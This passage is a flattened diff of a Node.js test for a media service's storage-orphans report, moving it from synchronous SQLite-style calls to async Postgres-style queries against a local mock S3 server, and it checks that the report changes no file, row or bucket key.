'ov-media-orphans-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };----const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };--const openUploads = { 'b2-bucket': [{ key: 'vods/half-uploaded.webm', id: 'up-b2-1' }], 'r2-bucket': [] };--let writes = 0;--const xml = (v) => String(v).replace(/&/g, '&').replace(/</g, '<');--const s3 = http.createServer((req, res) => {-- req.resume();-- req.on('end', () => {-- const u = new URL(req.url, 'http://x');-- const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');-- const key = rest.join('/');-- const store = buckets[bucket];-- if (!store) { res.writeHead(404); return res.end(); }-- if (req.method !== 'GET' && req.method !== 'HEAD') { writes++; res.writeHead(403, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>AccessDenied</Code></Error>'); }-- if (!key && u.searchParams.has('uploads')) {-- res.writeHead(200, { 'Content-Type': 'application/xml' });-- return res.end(`<?xml version="1.0" encoding="UTF-8"?><ListMultipartUploadsResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Bucket>${bucket}</Bucket><IsTruncated>false</IsTruncated>${-- openUploads[bucket].map(x => `<Upload><Key>${xml(x.key)}</Key><UploadId>${x.id}</UploadId><Initiated>2026-09-01T00:00:00.000Z</Initiated></Upload>`).join('')}</ListMultipartUploadsResult>`);-- }-- if (!key && u.searchParams.get('list-type') === '2') {-- const prefix = u.searchParams.get('prefix') || '';-- const keys = [...store.keys()].filter(k => k.startsWith(prefix)).sort();-- res.writeHead(200, { 'Content-Type': 'application/xml' });-- return res.end(`<?xml version="1.0" encoding="UTF-8"?><ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>${bucket}</Name><Prefix>${xml(prefix)}</Prefix><KeyCount>${keys.length}</KeyCount><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated>${-- keys.map(k => `<Contents><Key>${xml(k)}</Key><LastModified>2026-09-21T00:00:00.000Z</LastModified><ETag>"e"</ETag><Size>${store.get(k).length}</Size><StorageClass>STANDARD</StorageClass></Contents>`).join('')}</ListBucketResult>`);-- }-- const obj = store.get(key);-- if (!obj) { res.writeHead(404); return res.end(); }-- res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"' });-- res.end(req.method === 'GET' ? obj : undefined);-- });--});(async () => {-- await new Promise((r) => s3.listen(0, '127.0.0.1', r));-- const endpoint = `http://127.0.0.1:${s3.address().port}`;-- const env = {-- DB_PATH: path.join(tmp, 'data', 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),-- MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',-- MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',-- AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',-- MEDIA_PUBLIC_URL: 'https://media.test',-- };-- Object.assign(process.env, env);-- delete process.env.MEDIA_ORPHAN_SCAN_DAYS;-- const db = require('../server/db/database');-- const model = require('../server/objects/model');-- const queue = require('../server/jobs/queue');-- require('../server/jobs/types');-- const orphans = require('../server/vod/orphans-report');-- const storageJob = require('../server/jobs/storage-orphans');-- db.upsertApp({ app_id: 'live', api_key: 'live-key-orphans' });-- const raw = db.getDb();-- const write = (d, name, bytes = 16, ageMs = 0) => {-- const p = path.join(d, name);-- fs.mkdirSync(path.dirname(p), { recursive: true });-- fs.writeFileSync(p, Buffer.alloc(bytes, 7));-- if (ageMs) { const t = (Date.now() - ageMs) / 1000; fs.utimesSync(p, t, t); }-- return p;-- };-- const HOUR = 3600 * 1000;---- // ── Fixtures: what the database names ──-- const ins = raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, storage_provider, storage_key, thumbnail_url)-- VALUES (?, 'live', ?, ?, ?, 1, 'public', 60, ?, ?, ?)`);-- ins.run(1, 'local', write(env.VOD_PATH, 'vod-live-1-1758000000001.webm', 40), 40, 'local', null, '/t/vod-1-111.jpg');-- write(env.THUMBNAILS_PATH, 'vod-1-111.jpg');-- ins.run(2, 'in B2', '/old/vod-live-2-1758000000002.webm', 20, 'b2', 'vods/vod-live-2-1758000000002.webm', null);-- buckets['b2-bucket'].set('vods/vod-live-2-1758000000002.webm', Buffer.alloc(20));-- ins.run(3, 'served from R2', '/old/vod-live-3-1758000000003.webm', 30, 'r2', 'vods/vod-live-3-1758000000003.webm', null);-- buckets['b2-bucket'].set('vods/vod-live-3-1758000000003.webm', Buffer.alloc(30));-- buckets['r2-bucket'].set('vods/vod-live-3-1758000000003.webm', Buffer.alloc(30));-- ins.run(4, 'back in B2, R2 copy left', '/old/vod-live-4-1758000000004.webm', 50, 'b2', 'vods/vod-live-4-1758000000004.webm', null);-- buckets['b2-bucket'].set('vods/vod-live-4-1758000000004.webm', Buffer.alloc(50));-- buckets['r2-bucket'].set('vods/vod-live-4-1758000000004.webm', Buffer.alloc(50));-- ins.run(5, 'local file lost', path.join(env.VOD_PATH, 'vod-live-5-1758000000005.webm'), 10, 'local', null, null);-- ins.run(6, 'B2 key lost', '/old/vod-live-6-1758000000006.webm', 60, 'b2', 'vods/vod-live-6-1758000000006.webm', null);-- for (const id of [1, 2, 3, 4, 5, 6]) model.sync('vod', id);-- raw.prepare(`INSERT INTO files (key, app_id, original_name, size, mime) VALUES ('abc123-notes.txt', 'live', 'notes.txt', 16, 'text/plain')`).run();-- write(path.join(env.FILES_PATH, 'live'), 'abc123-notes.txt');-- model.sync('file', 'abc123-notes.txt');-- // A native object soft-deleted inside its retention period keeps its bytes wanted.-- const kept = model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', visibility: 'private', size_bytes: 16 });-- const keptPath = write(path.join(env.OBJECTS_PATH, 'live'), kept, 16);-- model.upsertLocation(kept, { provider: 'local', key: keptPath, state: 'present', size_bytes: 16, verified: true });-- model.softDelete(model.getObject(kept));-- // A clip deleted by its row: the object is deleted, its file stayed behind.-- raw.prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, status) VALUES (21, 'live', 1, 'gone clip', ?, 'ready')`).run(write(env.CLIPS_PATH, 'clip-live-21.webm', 12));-- model.sync('clip', 21);-- const clipObj = db.get('SELECT object_id FROM clips WHERE id = 21').object_id;-- raw.prepare('DELETE FROM clips WHERE id = 21').run();-- // Media's own multipart sessions: one open and expired (its parts wanted), one expired session's parts dir with no session.-- raw.prepare(`INSERT INTO media_uploads (id, object_id, app_id, part_size, total_size, parts_expected, status, expires_at)-- VALUES ('mup_OPEN', ?, 'live', 8, 16, 2, 'active', datetime('now', '-1 hour'))`).run(kept);-- raw.prepare("INSERT INTO media_upload_parts (upload_id, part_number, size_bytes, sha256) VALUES ('mup_OPEN', 1, 8, 'x')").run();-- write(path.join(env.OBJECTS_PATH, '.parts', 'mup_OPEN'), '1', 8, 3 * HOUR);---- // ── What storage holds that no row names ──-- write(env.VOD_PATH, 'vod-live-99-1758000000099.webm', 1000); // the recorder's name; row 99 never existed-- write(env.VOD_PATH, 'mystery.bin', 500);-- write(env.VOD_PATH, 'vod-live-1-1758000000001.seekable.webm', 5); // a sidecar of vod 1: wanted-- write(env.THUMBNAILS_PATH, 'stream-live-1.jpg'); // a live thumbnail: expected-- write(path.join(env.OBJECTS_PATH, '.tmp'), 'med_OLD-abcd', 30, 3 * HOUR); // an upload that never finished-- write(path.join(env.OBJECTS_PATH, '.tmp'), 'med_NOW-abcd', 30); // one in flight right now-- write(path.join(env.OBJECTS_PATH, '.parts', 'mup_GONE'), '1', 8, 3 * HOUR); // parts with no session-- buckets['b2-bucket'].set('vods/stray.webm', Buffer.alloc(70));-- buckets['b2-bucket'].set('vods-orphans/vod-live-7-1758000000007.webm', Buffer.alloc(80));---- // ── Everything before, to prove nothing changes ──-- const snapshotFiles = () => {-- const out = [];-- const walk = (d) => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const p = path.join(d, e.name); if (e.isDirectory()) { if (p !== path.join(tmp, 'data')) walk(p); } else out.push(`${path.relative(tmp, p)}:${fs.statSync(p).size}:${fs.statSync(p).mtimeMs}`); } };-- walk(tmp);-- return out.sort();-- };-- const TABLES = ['vods', 'clips', 'files', 'pastes', 'media_objects', 'media_locations', 'media_holds', 'media_uploads', 'media_upload_parts'];-- const snapshotDb = () => Object.fromEntries(TABLES.map(t => [t, crypto.createHash('sha256').update(JSON.stringify(raw.prepare(`SELECT * FROM ${t} ORDER BY rowid`).all())).digest('hex')]));-- const snapshotBuckets = () => JSON.stringify(Object.entries(buckets).map(([b, m]) => [b, [...m.keys()].sort()]));-- const before = { files: snapshotFiles(), db: snapshotDb(), buckets: snapshotBuckets() };---- const report = await orphans.buildStorageReport({ limit: 50 });---- // ── Unreferenced local files ──-- const local = Object.fromEntries(report.unreferenced_local.map(f => [`${f.root}/${f.path.split(path.sep).join('/')}`, f]));-- assert.deepStrictEqual(Object.keys(local).sort(), [-- 'clips/clip-live-21.webm', 'objects/.parts/mup_GONE/1', 'objects/.tmp/med_OLD-abcd', 'vods/mystery.bin', 'vods/vod-live-99-1758000000099.webm',-- ], 'exactly the files no row names');-- assert.ok(/whose row is gone/.test(local['vods/vod-live-99-1758000000099.webm'].hint), 'a recorder name says whose recording it was');-- assert.strictEqual(local['clips/clip-live-21.webm'].hint, `bytes of deleted object ${clipObj} (legacy:live:clip:21)`);-- assert.ok(/no session/.test(local['objects/.parts/mup_GONE/1'].hint));-- assert.ok(/never finished/.test(local['objects/.tmp/med_OLD-abcd'].hint));-- assert.strictEqual(local['vods/mystery.bin'].hint, null);-- assert.strictEqual(report.unreferenced_local[0].path, 'vod-live-99-1758000000099.webm', 'largest first');-- assert.deepStrictEqual([report.totals.unreferenced_local.files, report.totals.unreferenced_local.bytes], [5, 1000 + 500 + 30 + 8 + 12]);-- assert.deepStrictEqual(report.totals.expected, { live_thumbnails: 1, in_flight: 1 }, 'live thumbnails and uploads in flight are expected, not orphans');-- console.log('✅ unreferenced local files: recordings without a row, strays, bytes of deleted objects, stale temps and parts');---- // ── Unreferenced bucket keys ──-- const remote = Object.fromEntries(report.unreferenced_remote.map(k => [`${k.provider}:${k.key}`, k]));-- assert.deepStrictEqual(Object.keys(remote).sort(), ['b2:vods-orphans/vod-live-7-1758000000007.webm', 'b2:vods/stray.webm', 'r2:vods/vod-live-4-1758000000004.webm']);-- assert.ok(/vods-orphans-report/.test(remote['b2:vods-orphans/vod-live-7-1758000000007.webm'].hint), 'parked recordings point at the prefix report');-- assert.strictEqual(remote['r2:vods/vod-live-4-1758000000004.webm'].hint, 'an R2 copy of vod 4, which is served from b2');-- assert.deepStrictEqual(report.totals.unreferenced_remote, { b2: { keys: 2, bytes: 150 }, r2: { keys: 1, bytes: 50 } });-- assert.deepStrictEqual([report.scope.providers.b2.listed, report.scope.providers.b2.keys, report.scope.providers.r2.keys], [true, 5, 2]);-- console.log('✅ unreferenced bucket keys: strays, parked recordings, an R2 copy left behind by a demotion');---- // ── Copies the database records that are not there ──-- const missing = report.missing.map(m => `${m.legacy_ref}:${m.provider}`).sort();-- assert.deepStrictEqual(missing, ['legacy:live:vod:5:local', 'legacy:live:vod:6:b2'], 'a lost local file and a lost B2 key');-- assert.deepStrictEqual(report.totals.missing, { locations: 2, by_provider: { local: 1, b2: 1 } });-- console.log('✅ missing copies: rows whose location is not in storage');---- // ── Multipart uploads left open ──-- assert.deepStrictEqual(report.multipart_local.map(u => [u.upload_id, u.expired, u.parts_received]), [['mup_OPEN', true, 1]]);-- assert.deepStrictEqual(report.totals.multipart_local, { open: 1, expired: 1 });-- assert.deepStrictEqual(report.multipart_remote.map(u => [u.provider, u.key, u.upload_id, u.key_named_by_a_row]), [['b2', 'vods/half-uploaded.webm', 'up-b2-1', false]]);-- assert.deepStrictEqual(report.totals.multipart_remote, { b2: 1, r2: 0 });-- console.log('✅ open multipart uploads: Media\'s expired sessions and the buckets\' own');---- // ── Report only ──-- assert.deepStrictEqual(snapshotFiles(), before.files, 'no file was deleted, moved or touched');-- assert.deepStrictEqual(snapshotDb(), before.db, 'no row changed');-- assert.strictEqual(snapshotBuckets(), before.buckets, 'no bucket key changed');-- assert.strictEqual(writes, 0, 'no PUT, POST or DELETE reached a bucket');-- const src = fs.readFileSync(path.join(__dirname, '..', 'server', 'vod', 'orphans-report.js'), 'utf8');-- assert.ok(!/unlink|rmSync|rmdirSync|renameSync|DeleteObject|deleteObject|uploadFile|copyBetweenProviders|\b(DELETE|UPDATE|INSERT)\s/.test(src), 'the report module holds no delete, move or write');-- console.log('✅ report only: files, rows and buckets are unchanged; the module has no delete, move or write');---- // ── The job: service-wide, scheduled, not for tenants ──-- assert.strictEqual(storageJob.schedule(Date.now()), 1, 'the monthly scan is queued');-- assert.strictEqual(storageJob.schedule(Date.now()), 0, 'once per period');-- process.env.MEDIA_ORPHAN_SCAN_DAYS = '0';-- assert.strictEqual(storageJob.schedule(Date.now() + 90 * 86400 * 1000), 0, 'MEDIA_ORPHAN_SCAN_DAYS=0 schedules nothing');-- delete process.env.MEDIA_ORPHAN_SCAN_DAYS;-- const job = db.get("SELECT * FROM media_jobs WHERE job_type = 'storage.orphans.scan'");-- assert.deepStrictEqual([job.app_id, job.status, job.created_by], [queue.SYSTEM_APP, 'queued', 'system:schedule']);-- const done = await require('../server/jobs/worker').runNow(job.id);-- assert.strictEqual(done.status, 'succeeded', done.error || '');-- const result = JSON.parse(done.result);-- assert.strictEqual(result.totals.unreferenced_local.files, 5);-- const reportFile = path.join(tmp, 'data', 'reports', result.report);-- assert.ok(fs.existsSync(reportFile), 'the job writes its report under <data>/reports');-- assert.strictEqual(JSON.parse(fs.readFileSync(reportFile, 'utf8')).job_id, job.id);-- assert.deepStrictEqual(snapshotFiles(), before.files, 'the job deleted nothing either');-- assert.strictEqual(writes, 0);---- const express = require('express');-- const app = express();-- app.use(express.json());-- app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));-- const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });-- const post = (p, body) => new Promise((resolve, reject) => {-- const data = JSON.stringify(body);-- const rq = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method: 'POST',-- headers: { Authorization: 'Bearer live-key-orphans', 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } },-- (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });-- rq.on('error', reject);-- rq.end(data);++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-orphans-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++++ const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };++ const openUploads = { 'b2-bucket': [{ key: 'vods/half-uploaded.webm', id: 'up-b2-1' }], 'r2-bucket': [] };++ let writes = 0;++ const xml = (v) => String(v).replace(/&/g, '&').replace(/</g, '<');++ const s3 = http.createServer((req, res) => {++ req.resume();++ req.on('end', () => {++ const u = new URL(req.url, 'http://x');++ const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');++ const key = rest.join('/');++ const store = buckets[bucket];++ if (!store) { res.writeHead(404); return res.end(); }++ if (req.method !== 'GET' && req.method !== 'HEAD') { writes++; res.writeHead(403, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>AccessDenied</Code></Error>'); }++ if (!key && u.searchParams.has('uploads')) {++ res.writeHead(200, { 'Content-Type': 'application/xml' });++ return res.end(`<?xml version="1.0" encoding="UTF-8"?><ListMultipartUploadsResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Bucket>${bucket}</Bucket><IsTruncated>false</IsTruncated>${++ openUploads[bucket].map(x => `<Upload><Key>${xml(x.key)}</Key><UploadId>${x.id}</UploadId><Initiated>2026-09-01T00:00:00.000Z</Initiated></Upload>`).join('')}</ListMultipartUploadsResult>`);++ }++ if (!key && u.searchParams.get('list-type') === '2') {++ const prefix = u.searchParams.get('prefix') || '';++ const keys = [...store.keys()].filter(k => k.startsWith(prefix)).sort();++ res.writeHead(200, { 'Content-Type': 'application/xml' });++ return res.end(`<?xml version="1.0" encoding="UTF-8"?><ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>${bucket}</Name><Prefix>${xml(prefix)}</Prefix><KeyCount>${keys.length}</KeyCount><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated>${++ keys.map(k => `<Contents><Key>${xml(k)}</Key><LastModified>2026-09-21T00:00:00.000Z</LastModified><ETag>"e"</ETag><Size>${store.get(k).length}</Size><StorageClass>STANDARD</StorageClass></Contents>`).join('')}</ListBucketResult>`);++ }++ const obj = store.get(key);++ if (!obj) { res.writeHead(404); return res.end(); }++ res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"' });++ res.end(req.method === 'GET' ? obj : undefined);++ });});-- const r = await post('/api/v2/live/jobs', { type: 'storage.orphans.scan' });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'media.job.forbidden'], 'a tenant cannot run the service-wide scan');-- server.close();-- console.log('✅ storage.orphans.scan: scheduled once per period under the system app, writes its report, refused to tenants');---- // ── The script, on demand ──-- const out = path.join(tmp, 'script-report.json');-- const text = execFileSync(process.execPath, [path.join(__dirname, '..', 'scripts', 'vods-orphans-report.js'), '--storage', '--no-remote', '--out', out],-- { env: { ...process.env, ...env }, encoding: 'utf8' });-- assert.ok(/Unreferenced local files: 5/.test(text) && /Nothing was deleted or moved/.test(text), text);-- const scripted = JSON.parse(fs.readFileSync(out, 'utf8'));-- assert.deepStrictEqual([scripted.totals.unreferenced_local.files, Object.keys(scripted.scope.providers).length], [5, 0], '--no-remote lists no bucket');-- assert.deepStrictEqual(snapshotFiles().filter(f => !f.startsWith('script-report.json')), before.files);-- console.log('✅ scripts/vods-orphans-report.js --storage runs the same report on demand');---- s3.close();-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('storage orphans: all checks passed');-- process.exit(0);++++ (async () => {++ await new Promise((r) => s3.listen(0, '127.0.0.1', r));++ const endpoint = `http://127.0.0.1:${s3.address().port}`;++ const env = {++ DB_PATH: path.join(tmp, 'data', 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),++ MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',++ MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',++ AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',++ MEDIA_PUBLIC_URL: 'https://media.test',++ };++ Object.assign(process.env, env);++ delete process.env.MEDIA_ORPHAN_SCAN_DAYS;++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const queue = require('../server/jobs/queue');++ require('../server/jobs/types');++ const orphans = require('../server/vod/orphans-report');++ const storageJob = require('../server/jobs/storage-orphans');++ await db.upsertApp({ app_id: 'live', api_key: 'live-key-orphans' });++ const raw = db.getDb();++ const write = (d, name, bytes = 16, ageMs = 0) => {++ const p = path.join(d, name);++ fs.mkdirSync(path.dirname(p), { recursive: true });++ fs.writeFileSync(p, Buffer.alloc(bytes, 7));++ if (ageMs) { const t = (Date.now() - ageMs) / 1000; fs.utimesSync(p, t, t); }++ return p;++ };++ const HOUR = 3600 * 1000;++++ // ── Fixtures: what the database names ──++ const ins = raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, storage_provider, storage_key, thumbnail_url) OVERRIDING SYSTEM VALUE++ VALUES (?, 'live', ?, ?, ?, 1, 'public', 60, ?, ?, ?) RETURNING id`);++ await ins.run(1, 'local', write(env.VOD_PATH, 'vod-live-1-1758000000001.webm', 40), 40, 'local', null, '/t/vod-1-111.jpg');++ write(env.THUMBNAILS_PATH, 'vod-1-111.jpg');++ await ins.run(2, 'in B2', '/old/vod-live-2-1758000000002.webm', 20, 'b2', 'vods/vod-live-2-1758000000002.webm', null);++ buckets['b2-bucket'].set('vods/vod-live-2-1758000000002.webm', Buffer.alloc(20));++ await ins.run(3, 'served from R2', '/old/vod-live-3-1758000000003.webm', 30, 'r2', 'vods/vod-live-3-1758000000003.webm', null);++ buckets['b2-bucket'].set('vods/vod-live-3-1758000000003.webm', Buffer.alloc(30));++ buckets['r2-bucket'].set('vods/vod-live-3-1758000000003.webm', Buffer.alloc(30));++ await ins.run(4, 'back in B2, R2 copy left', '/old/vod-live-4-1758000000004.webm', 50, 'b2', 'vods/vod-live-4-1758000000004.webm', null);++ buckets['b2-bucket'].set('vods/vod-live-4-1758000000004.webm', Buffer.alloc(50));++ buckets['r2-bucket'].set('vods/vod-live-4-1758000000004.webm', Buffer.alloc(50));++ await ins.run(5, 'local file lost', path.join(env.VOD_PATH, 'vod-live-5-1758000000005.webm'), 10, 'local', null, null);++ await ins.run(6, 'B2 key lost', '/old/vod-live-6-1758000000006.webm', 60, 'b2', 'vods/vod-live-6-1758000000006.webm', null);++ for (const id of [1, 2, 3, 4, 5, 6]) await model.sync('vod', id);++ await raw.prepare(`INSERT INTO files (key, app_id, original_name, size, mime) VALUES ('abc123-notes.txt', 'live', 'notes.txt', 16, 'text/plain')`).run();++ write(path.join(env.FILES_PATH, 'live'), 'abc123-notes.txt');++ await model.sync('file', 'abc123-notes.txt');++ // A native object soft-deleted inside its retention period keeps its bytes wanted.++ const kept = await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', visibility: 'private', size_bytes: 16 });++ const keptPath = write(path.join(env.OBJECTS_PATH, 'live'), kept, 16);++ await model.upsertLocation(kept, { provider: 'local', key: keptPath, state: 'present', size_bytes: 16, verified: true });++ await model.softDelete(await model.getObject(kept));++ // A clip deleted by its row: the object is deleted, its file stayed behind.++ await raw.prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, status) OVERRIDING SYSTEM VALUE VALUES (21, 'live', 1, 'gone clip', ?, 'ready') RETURNING id`).run(write(env.CLIPS_PATH, 'clip-live-21.webm', 12));++ await model.sync('clip', 21);++ const clipObj = (await db.get('SELECT object_id FROM clips WHERE id = 21')).object_id;++ await raw.prepare('DELETE FROM clips WHERE id = 21').run();++ // Media's own multipart sessions: one open and expired (its parts wanted), one expired session's parts dir with no session.++ await raw.prepare(`INSERT INTO media_uploads (id, object_id, app_id, part_size, total_size, parts_expected, status, expires_at)++ VALUES ('mup_OPEN', ?, 'live', 8, 16, 2, 'active', datetime('now', '-1 hour'))`).run(kept);++ await raw.prepare("INSERT INTO media_upload_parts (upload_id, part_number, size_bytes, sha256) VALUES ('mup_OPEN', 1, 8, 'x')").run();++ write(path.join(env.OBJECTS_PATH, '.parts', 'mup_OPEN'), '1', 8, 3 * HOUR);++++ // ── What storage holds that no row names ──++ write(env.VOD_PATH, 'vod-live-99-1758000000099.webm', 1000); // the recorder's name; row 99 never existed++ write(env.VOD_PATH, 'mystery.bin', 500);++ write(env.VOD_PATH, 'vod-live-1-1758000000001.seekable.webm', 5); // a sidecar of vod 1: wanted++ write(env.THUMBNAILS_PATH, 'stream-live-1.jpg'); // a live thumbnail: expected++ write(path.join(env.OBJECTS_PATH, '.tmp'), 'med_OLD-abcd', 30, 3 * HOUR); // an upload that never finished++ write(path.join(env.OBJECTS_PATH, '.tmp'), 'med_NOW-abcd', 30); // one in flight right now++ write(path.join(env.OBJECTS_PATH, '.parts', 'mup_GONE'), '1', 8, 3 * HOUR); // parts with no session++ buckets['b2-bucket'].set('vods/stray.webm', Buffer.alloc(70));++ buckets['b2-bucket'].set('vods-orphans/vod-live-7-1758000000007.webm', Buffer.alloc(80));++++ // ── Everything before, to prove nothing changes ──++ const snapshotFiles = () => {++ const out = [];++ const walk = (d) => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const p = path.join(d, e.name); if (e.isDirectory()) { if (p !== path.join(tmp, 'data')) walk(p); } else out.push(`${path.relative(tmp, p)}:${fs.statSync(p).size}:${fs.statSync(p).mtimeMs}`); } };++ walk(tmp);++ return out.sort();++ };++ const TABLES = ['vods', 'clips', 'files', 'pastes', 'media_objects', 'media_locations', 'media_holds', 'media_uploads', 'media_upload_parts'];++ const snapshotDb = async () => Object.fromEntries((await Promise.all(TABLES.map(async t => [t, crypto.createHash('sha256').update(JSON.stringify(await raw.prepare(`SELECT * FROM ${t} ORDER BY ${t}::text`).all())).digest('hex')]))));++ const snapshotBuckets = () => JSON.stringify(Object.entries(buckets).map(([b, m]) => [b, [...m.keys()].sort()]));++ const before = { files: snapshotFiles(), db: await snapshotDb(), buckets: snapshotBuckets() };++++ const report = await orphans.buildStorageReport({ limit: 50 });++++ // ── Unreferenced local files ──++ const local = Object.fromEntries(report.unreferenced_local.map(f => [`${f.root}/${f.path.split(path.sep).join('/')}`, f]));++ assert.deepStrictEqual(Object.keys(local).sort(), [++ 'clips/clip-live-21.webm', 'objects/.parts/mup_GONE/1', 'objects/.tmp/med_OLD-abcd', 'vods/mystery.bin', 'vods/vod-live-99-1758000000099.webm',++ ], 'exactly the files no row names');++ assert.ok(/whose row is gone/.test(local['vods/vod-live-99-1758000000099.webm'].hint), 'a recorder name says whose recording it was');++ assert.strictEqual(local['clips/clip-live-21.webm'].hint, `bytes of deleted object ${clipObj} (legacy:live:clip:21)`);++ assert.ok(/no session/.test(local['objects/.parts/mup_GONE/1'].hint));++ assert.ok(/never finished/.test(local['objects/.tmp/med_OLD-abcd'].hint));++ assert.strictEqual(local['vods/mystery.bin'].hint, null);++ assert.strictEqual(report.unreferenced_local[0].path, 'vod-live-99-1758000000099.webm', 'largest first');++ assert.deepStrictEqual([report.totals.unreferenced_local.files, report.totals.unreferenced_local.bytes], [5, 1000 + 500 + 30 + 8 + 12]);++ assert.deepStrictEqual(report.totals.expected, { live_thumbnails: 1, in_flight: 1 }, 'live thumbnails and uploads in flight are expected, not orphans');++ console.log('✅ unreferenced local files: recordings without a row, strays, bytes of deleted objects, stale temps and parts');++++ // ── Unreferenced bucket keys ──++ const remote = Object.fromEntries(report.unreferenced_remote.map(k => [`${k.provider}:${k.key}`, k]));++ assert.deepStrictEqual(Object.keys(remote).sort(), ['b2:vods-orphans/vod-live-7-1758000000007.webm', 'b2:vods/stray.webm', 'r2:vods/vod-live-4-1758000000004.webm']);++ assert.ok(/vods-orphans-report/.test(remote['b2:vods-orphans/vod-live-7-1758000000007.webm'].hint), 'parked recordings point at the prefix report');++ assert.strictEqual(remote['r2:vods/vod-live-4-1758000000004.webm'].hint, 'an R2 copy of vod 4, which is served from b2');++ assert.deepStrictEqual(report.totals.unreferenced_remote, { b2: { keys: 2, bytes: 150 }, r2: { keys: 1, bytes: 50 } });++ assert.deepStrictEqual([report.scope.providers.b2.listed, report.scope.providers.b2.keys, report.scope.providers.r2.keys], [true, 5, 2]);++ console.log('✅ unreferenced bucket keys: strays, parked recordings, an R2 copy left behind by a demotion');++++ // ── Copies the database records that are not there ──++ const missing = report.missing.map(m => `${m.legacy_ref}:${m.provider}`).sort();++ assert.deepStrictEqual(missing, ['legacy:live:vod:5:local', 'legacy:live:vod:6:b2'], 'a lost local file and a lost B2 key');++ assert.deepStrictEqual(report.totals.missing, { locations: 2, by_provider: { local: 1, b2: 1 } });++ console.log('✅ missing copies: rows whose location is not in storage');++++ // ── Multipart uploads left open ──++ assert.deepStrictEqual(report.multipart_local.map(u => [u.upload_id, u.expired, u.parts_received]), [['mup_OPEN', true, 1]]);++ assert.deepStrictEqual(report.totals.multipart_local, { open: 1, expired: 1 });++ assert.deepStrictEqual(report.multipart_remote.map(u => [u.provider, u.key, u.upload_id, u.key_named_by_a_row]), [['b2', 'vods/half-uploaded.webm', 'up-b2-1', false]]);++ assert.deepStrictEqual(report.totals.multipart_remote, { b2: 1, r2: 0 });++ console.log('✅ open multipart uploads: Media\'s expired sessions and the buckets\' own');++++ // ── Report only ──++ assert.deepStrictEqual(snapshotFiles(), before.files, 'no file was deleted, moved or touched');++ assert.deepStrictEqual(await snapshotDb(), before.db, 'no row changed');++ assert.strictEqual(snapshotBuckets(), before.buckets, 'no bucket key changed');++ assert.strictEqual(writes, 0, 'no PUT, POST or DELETE reached a bucket');++ const src = fs.readFileSync(path.join(__dirname, '..', 'server', 'vod', 'orphans-report.js'), 'utf8');++ assert.ok(!/unlink|rmSync|rmdirSync|renameSync|DeleteObject|deleteObject|uploadFile|copyBetweenProviders|\b(DELETE|UPDATE|INSERT)\s/.test(src), 'the report module holds no delete, move or write');++ console.log('✅ report only: files, rows and buckets are unchanged; the module has no delete, move or write');++++ // ── The job: service-wide, scheduled, not for tenants ──++ assert.strictEqual(await storageJob.schedule(Date.now()), 1, 'the monthly scan is queued');++ assert.strictEqual(await storageJob.schedule(Date.now()), 0, 'once per period');++ 